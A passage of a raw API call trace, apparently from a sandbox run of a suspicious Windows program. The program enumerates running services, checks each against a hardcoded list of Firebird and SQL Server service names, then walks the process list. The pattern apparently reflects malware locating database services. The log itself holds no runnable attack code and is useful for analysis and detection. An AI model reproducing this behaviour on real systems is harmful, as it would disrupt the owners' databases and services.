cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0175.019] CloseHandle (hObject=0x330) returned 1 [0175.019] Sleep (dwMilliseconds=0x1f4) [0175.687] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45ddd0 [0175.688] EnumServicesStatusExW (in: hSCManager=0x45ddd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0175.688] GetLastError () returned 0xea [0175.688] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c28) returned 0x3d35a48 [0175.689] EnumServicesStatusExW (in: hSCManager=0x45ddd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3d35a48, cbBufSize=0x1c28, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3d35a48, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0175.689] CloseServiceHandle (hSCObject=0x45ddd0) returned 1 [0175.690] lstrlenW (lpString="AppXSvc") returned 7 [0175.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0175.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0175.690] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0175.690] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0175.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0175.690] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0175.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0175.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0175.690] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0175.690] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0175.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0175.690] lstrlenW (lpString="Audiosrv") returned 8 [0175.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0175.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0175.690] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0175.690] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0175.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0175.690] lstrlenW (lpString="BFE") returned 3 [0175.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0175.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0175.690] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0175.690] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0175.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0175.690] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0175.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0175.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0175.690] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0175.690] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0175.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0175.690] lstrlenW (lpString="CDPSvc") returned 6 [0175.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0175.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0175.691] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0175.691] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0175.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0175.691] lstrlenW (lpString="ClickToRunSvc") returned 13 [0175.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0175.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0175.691] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0175.691] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0175.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0175.691] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0175.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0175.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0175.691] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0175.691] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0175.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0175.691] lstrlenW (lpString="CryptSvc") returned 8 [0175.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0175.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0175.691] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0175.691] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0175.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0175.691] lstrlenW (lpString="DcomLaunch") returned 10 [0175.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0175.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0175.691] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0175.691] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0175.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0175.691] lstrlenW (lpString="DeviceAssociationService") returned 24 [0175.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0175.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0175.691] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0175.691] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0175.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0175.692] lstrlenW (lpString="Dhcp") returned 4 [0175.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0175.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0175.692] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0175.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0175.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0175.692] lstrlenW (lpString="Dnscache") returned 8 [0175.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0175.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0175.692] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0175.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0175.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0175.692] lstrlenW (lpString="DPS") returned 3 [0175.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0175.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0175.692] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0175.692] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0175.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0175.692] lstrlenW (lpString="DsmSvc") returned 6 [0175.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0175.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0175.692] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0175.692] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0175.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0175.692] lstrlenW (lpString="DusmSvc") returned 7 [0175.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0175.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0175.692] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0175.692] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0175.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0175.692] lstrlenW (lpString="EventLog") returned 8 [0175.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0175.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0175.693] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0175.693] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0175.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0175.693] lstrlenW (lpString="EventSystem") returned 11 [0175.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0175.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0175.693] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0175.693] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0175.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0175.693] lstrlenW (lpString="FontCache") returned 9 [0175.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0175.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0175.693] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0175.693] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0175.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0175.693] lstrlenW (lpString="gpsvc") returned 5 [0175.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0175.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0175.693] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0175.693] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0175.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0175.693] lstrlenW (lpString="iphlpsvc") returned 8 [0175.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0175.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0175.693] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0175.693] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0175.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0175.693] lstrlenW (lpString="KeyIso") returned 6 [0175.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0175.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0175.693] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0175.693] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0175.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0175.694] lstrlenW (lpString="LanmanServer") returned 12 [0175.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0175.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0175.694] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0175.694] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0175.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0175.694] lstrlenW (lpString="LanmanWorkstation") returned 17 [0175.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0175.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0175.694] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0175.694] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0175.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0175.694] lstrlenW (lpString="lfsvc") returned 5 [0175.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0175.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0175.694] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0175.694] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0175.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0175.694] lstrlenW (lpString="lmhosts") returned 7 [0175.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0175.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0175.694] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0175.694] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0175.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0175.694] lstrlenW (lpString="LSM") returned 3 [0175.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0175.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0175.694] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0175.694] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0175.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0175.694] lstrlenW (lpString="MpsSvc") returned 6 [0175.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0175.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0175.695] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0175.695] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0175.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0175.695] lstrlenW (lpString="NcbService") returned 10 [0175.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0175.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0175.695] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0175.695] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0175.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0175.695] lstrlenW (lpString="netprofm") returned 8 [0175.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0175.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0175.695] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0175.695] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0175.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0175.695] lstrlenW (lpString="NgcSvc") returned 6 [0175.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0175.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0175.695] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0175.695] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0175.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0175.695] lstrlenW (lpString="NlaSvc") returned 6 [0175.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0175.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0175.695] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0175.695] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0175.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0175.695] lstrlenW (lpString="nsi") returned 3 [0175.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0175.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0175.695] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0175.695] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0175.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0175.696] lstrlenW (lpString="PcaSvc") returned 6 [0175.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0175.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0175.696] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0175.696] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0175.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0175.696] lstrlenW (lpString="PlugPlay") returned 8 [0175.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0175.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0175.696] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0175.696] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0175.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0175.696] lstrlenW (lpString="Power") returned 5 [0175.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0175.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0175.696] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0175.696] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0175.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0175.696] lstrlenW (lpString="ProfSvc") returned 7 [0175.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0175.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0175.696] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0175.696] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0175.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0175.696] lstrlenW (lpString="RpcEptMapper") returned 12 [0175.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0175.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0175.696] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0175.696] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0175.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0175.696] lstrlenW (lpString="RpcSs") returned 5 [0175.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0175.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0175.696] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0175.697] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0175.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0175.697] lstrlenW (lpString="SamSs") returned 5 [0175.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0175.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0175.697] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0175.697] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0175.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0175.697] lstrlenW (lpString="Schedule") returned 8 [0175.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0175.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0175.697] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0175.697] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0175.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0175.697] lstrlenW (lpString="SecurityHealthService") returned 21 [0175.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0175.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0175.697] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0175.697] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0175.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0175.697] lstrlenW (lpString="SENS") returned 4 [0175.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0175.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0175.697] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0175.697] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0175.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0175.697] lstrlenW (lpString="ShellHWDetection") returned 16 [0175.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0175.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0175.697] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0175.697] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0175.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0175.697] lstrlenW (lpString="Spooler") returned 7 [0175.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0175.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0175.698] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0175.698] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0175.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0175.698] lstrlenW (lpString="StateRepository") returned 15 [0175.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0175.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0175.698] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0175.698] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0175.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0175.698] lstrlenW (lpString="SysMain") returned 7 [0175.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0175.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0175.698] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0175.698] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0175.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0175.698] lstrlenW (lpString="SystemEventsBroker") returned 18 [0175.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0175.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0175.698] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0175.698] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0175.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0175.698] lstrlenW (lpString="Themes") returned 6 [0175.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0175.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0175.698] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0175.698] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0175.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0175.698] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0175.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0175.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0175.698] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0175.699] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0175.699] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3d35a48 | out: hHeap=0x420000) returned 1 [0175.699] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380 [0175.925] Process32FirstW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.925] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0175.925] lstrlenW (lpString="System") returned 6 [0175.926] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0175.926] lstrlenW (lpString="smss.exe") returned 8 [0175.926] Process32NextW (in: hSnapshot=0x380, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, 